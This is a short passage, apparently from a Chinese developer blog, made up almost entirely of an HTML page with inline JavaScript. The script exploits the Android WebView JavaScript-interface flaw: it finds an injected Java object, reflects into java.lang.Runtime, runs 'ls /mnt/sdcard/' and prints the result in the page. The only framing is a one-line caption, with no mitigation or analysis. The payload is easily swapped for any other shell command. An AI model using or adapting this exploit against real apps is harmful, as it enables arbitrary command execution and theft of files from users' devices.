http://blog.csdn.net/leehong2005/article/details/11808557/
webview调用以下文件，就可以打印sdcard 文件名
1 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 2 <html xmlns="http://www.w3.org/1999/xhtml"> 3 <head> 4 <title> new document </title> 5 <script > 6 var i=0; 7 function getContents(inputStream) { 8 var contents = ""+i; 9 var b = inputStream.read(); 10 var i = 1; 11 while(b != -1) { 12 var bString = String.fromCharCode(b); 13 contents += bString; 14 contents += " " 15 b = inputStream.read(); 16 } 17 i=i+1; 18 return contents; 19 } 20 21 function execute(cmdArgs){ 22 for (var obj in window) { 23 console.log(obj); 24 if(window[obj]!=null) 25 if ("getClass" in window[obj]) { 26 console.log("come to here"); 27 //alert(obj);. 28 return window[obj].getClass().forName("java.lang.Runtime"). 29 getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); 30 } 31 } 32 } 33 var p = execute(["ls","/mnt/sdcard/"]); 34 console.log("come to here 2"); 35 36 document.write(getContents(p.getInputStream())); 37 </script> 38 <meta name="generator" content="editplus" /> 39 <meta name="author" content="" /> 40 <meta name="keywords" content="" /> 41 <meta name="description" content="" /> 42 </head> 43 44 <body> 45 46 </body> 47 </html>